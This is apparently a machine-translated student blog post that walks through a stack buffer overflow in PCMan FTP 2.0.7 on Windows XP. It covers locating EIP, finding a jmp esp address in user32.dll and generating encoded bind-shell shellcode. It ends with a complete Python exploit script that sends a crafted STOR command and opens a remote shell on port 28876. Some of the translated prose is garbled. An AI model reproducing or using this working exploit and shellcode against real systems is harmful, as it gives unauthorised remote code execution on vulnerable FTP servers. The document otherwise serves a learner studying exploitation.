After xx conducted a brutal overflow test on the pcman ftp software last semester (the FTP user name is exclusive and the version is unclear), I also began to learn about reverse and overflow, google searched pcman's ftp and found this overflow exploit: http://www.exploit-db.com/exploits/27703. As a testing tool for beginner exp ~~
Pcman's ftp is an FTP software running in windows. The latest version is 2.0.7, which is the version I want to test today. So we will introduce the relevant information:
OS: windows XP sp3 Simplified Chinese version (I also tried it in WIN7, but since ASLR failed to get around, it won't be available after restart, and I gave up)
Soft version: 2.0.7
Shellcode: msfpayload windows/shell_bind_tcp LPORT = 28876 R | msfencode-a x86-B '\ x00 \ xff \ x0a \ x0d \ x20 \ x40'-t c
Point: pcman has a defect in the stor command length determination, resulting in Buffer Overflow (Add/../before the overflow string to bypass ). However, the exp given in this article cannot be used normally, so we need to modify it.
0x01 locate eip
Stack Overflow overwrites the stack return address. Because the stack is extended from the high address to the low address, when overflow occurs, the content written in the low address exceeds the buffer size, thus overwriting the eip value of the high address, cause overflow.
If it is a function stack, we can control the buffer [128]. When the input content is too long, we can overwrite the following ebp and eip. The eip points to the address of the next statement to be executed, so that we can easily execute our own statement.
Therefore, in the first step, we need to know the buffer length to overwrite the eip.
First, determine the location of the eip. First, save the exp given in the expdb article, and set the length of the previous junk data to 1900:
Garbage = '\ x41' * 1900
If no error is found during sending, it indicates that the overflow is after 1900 bytes, and the garbage is changed to 2100 again, and the program has collapsed. So I'm sure the overflow length is between-bytes. Of course, this range is determined slowly. For example, first try 1000-5000, then try 1500-2500, And Then narrow down the range.
After a large scope is determined, we can use a small script in metasploit to complete this task:/opt/metasploit/apps/pro/msf3/tools/pattern_create.rb
Generate a pattern string (200-2100 = 1900) with a length of 200. We will send such a packet:
STOR +/../+ A * 1900 + pattern
PCMAN collapsed after receiving the data. In windbg, we can see that the eip is 0x41346441:
Return to kali and use pattern_offset to calculate the offset:
The offset is 102, that is, the value 0x41346441 appears in 200 of the 102nd characters, that is, the eip is in 102nd. With the previous 1900, we can accurately calculate the location of the eip: 1900 + 102 = 2002.
We can test it and send STOR +/../+ B * 2002 + A * 4. We can see the eip obtained by windbg:
41414141 is AAAA.
0x02 find jmp esp
Once we know the location of the eip, We will construct the eip value. The eip points to the address of the next statement to be executed, so we can directly put shellcode in this place to execute shellcode !!
But the reality is that we don't know where the shellcode should be. In addition, the fixed addresses on each computer may be different, so jmp 0x0a45e807 cannot be used to jump to shellcode. However, we can jump to an address pointed to by a register, such as esp.
The basic principle of overflow is not described in detail. In short, we can overwrite the eip to the address of jmp esp. Some predecessors found a common address for both Windows XP and 2003 (Chinese version): 0x7ffa4512. But there is an old saying that general purpose is definitely not the best. Why don't we learn how to find this address in memory?
Use the s command of windbg. First, I know that the jmp esp machine code is ff e4. Then, I chose to search in the USER32.DLL module. Of course, the best way is to search in the built-in dll of the program, because these dll usually do not have defense measures such as ASLD. (But ff e4 is not found in the dll provided by this software)
We can see that user32.dll is loaded between 77d0000-77da0000, so the search can be as follows:
S 77d10000 l 90000 ff e4 (offset 90000 starting from 0x77d10000)
We can find a lot of ff e4. We will select the top one: 0x77d29353.
0X03 compilingIntegrationSuitableOfSHellcode
This step has always plagued me. An error occurred when I put a shellcode that was previously written, and then I processed it with msfencode. I used to know that \ x00 is not available in shellcode. Now I know that some special characters are not available. For example, this ftp protocol stor command may not contain \ r, \ n, and spaces, therefore, msf is used to generate a forward connected mongoshell.
Msfpayload windows/shell_bind_tcp LPORT = 28876 R | msfencode-a x86-B '\ x00 \ xff \ x0a \ x0d \ x20 \ x40'-t c
0x04 rewrite exp in the original text, Overflow successful
After a long analysis, you can start to write exp. The exp is given in the original text, so you only need to rewrite it. (Change the offset address to 2002, and the jmp esp address to \ x53 \ x93 \ xd2 \ x77. Make minor changes elsewhere)
import socket, sys, os, timeif len(sys.argv) != 3: print "[*] Uso: %s <Ip Victima> <Puerto> \n" % sys.argv[0] print "[*] Exploit created by Polunchis" print "[*] https://www.intrusionlabs.org" sys.exit(0)target = sys.argv[1]port = int(sys.argv[2])#msfpayload windows/shell_bind_tcp LPORT=28876 R | msfencode -a x86 -b '\x00\xff\x0a\x0d\x20\x40' -t cshellcode = ("\xda\xcf\xb8\xba\xb3\x1e\xe7\xd9\x74\x24\xf4\x5a\x33\xc9\xb1""\x56\x31\x42\x18\x83\xc2\x04\x03\x42\xae\x51\xeb\x1b\x26\x1c""\x14\xe4\xb6\x7f\x9c\x01\x87\xad\xfa\x42\xb5\x61\x88\x07\x35""\x09\xdc\xb3\xce\x7f\xc9\xb4\x67\x35\x2f\xfa\x78\xfb\xef\x50""\xba\x9d\x93\xaa\xee\x7d\xad\x64\xe3\x7c\xea\x99\x0b\x2c\xa3""\xd6\xb9\xc1\xc0\xab\x01\xe3\x06\xa0\x39\x9b\x23\x77\xcd\x11""\x2d\xa8\x7d\x2d\x65\x50\xf6\x69\x56\x61\xdb\x69\xaa\x28\x50""\x59\x58\xab\xb0\x93\xa1\x9d\xfc\x78\x9c\x11\xf1\x81\xd8\x96""\xe9\xf7\x12\xe5\x94\x0f\xe1\x97\x42\x85\xf4\x30\x01\x3d\xdd""\xc1\xc6\xd8\x96\xce\xa3\xaf\xf1\xd2\x32\x63\x8a\xef\xbf\x82""\x5d\x66\xfb\xa0\x79\x22\x58\xc8\xd8\x8e\x0f\xf5\x3b\x76\xf0""\x53\x37\x95\xe5\xe2\x1a\xf2\xca\xd8\xa4\x02\x44\x6a\xd6\x30""\xcb\xc0\x70\x79\x84\xce\x87\x7e\xbf\xb7\x18\x81\x3f\xc8\x31""\x46\x6b\x98\x29\x6f\x13\x73\xaa\x90\xc6\xd4\xfa\x3e\xb8\x94""\xaa\xfe\x68\x7d\xa1\xf0\x57\x9d\xca\xda\xee\x99\x04\x3e\xa3""\x4d\x65\xc0\x33\x42\xe0\x26\xd9\x4a\xa5\xf1\x75\xa9\x92\xc9""\xe2\xd2\xf0\x65\xbb\x44\x4c\x60\x7b\x6a\x4d\xa6\x28\xc7\xe5""\x21\xba\x0b\x32\x53\xbd\x01\x12\x1a\x86\xc2\xe8\x72\x45\x72""\xec\x5e\x3d\x17\x7f\x05\xbd\x5e\x9c\x92\xea\x37\x52\xeb\x7e""\xaa\xcd\x45\x9c\x37\x8b\xae\x24\xec\x68\x30\xa5\x61\xd4\x16""\xb5\xbf\xd5\x12\xe1\x6f\x80\xcc\x5f\xd6\x7a\xbf\x09\x80\xd1""\x69\xdd\x55\x1a\xaa\x9b\x59\x77\x5c\x43\xeb\x2e\x19\x7c\xc4""\xa6\xad\x05\x38\x57\x51\xdc\xf8\x67\x18\x7c\xa8\xef\xc5\x15""\xe8\x6d\xf6\xc0\x2f\x88\x75\xe0\xcf\x6f\x65\x81\xca\x34\x21""\x7a\xa7\x25\xc4\x7c\x14\x45\xcd")garbage= '\x41' * 2002jmpesp = '\x53\x93\xd2\x77' #or 7ffa4512fixstack= '\x83\xc4\x9c'nop='\x90' * 4buffer = garbage + jmpesp + nop + fixstack + shellcodevulparameter= '/../'s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)print "[+] Connect to %s on port %d" % (target,port)try: s.connect((target,port)) s.recv(1024) s.send('USER anonymous\r\n') s.recv(1024) s.send('PASS polunchis\r\n') s.recv(1024) s.send("STOR " + vulparameter + buffer + "\r\n") print "[+] Sending payload of size", len(buffer) s.close() print "[+] Exploit Sent Successfully" print "[+] Waiting for 5 sec before spawning shell to " + target + ":28876\r" print "\r" time.sleep(5) #os.system ("nc -n " + target + " 28876") print "[+] Then you can test nc.exe -n " + target + " 28876 \r"except: print "[-] Could not connect to " + target + ":21\r" sys.exit(0)
Sent successfully:
As it is a forward connection to mongoshell, the nc connection is successful:
The sent data contains a fixstack field. The machine code indicates add esp, ffffffc4, that is, esp = esp-100 H. I asked the senior student to improve the stack and avoid cracking the code by using local variables in the shellcode ...... In fact, I still don't understand the specific principle. I will study it in detail later ~
The Research on pcman ftp has come to an end, but the tip of the overflow iceberg began to appear in front of me.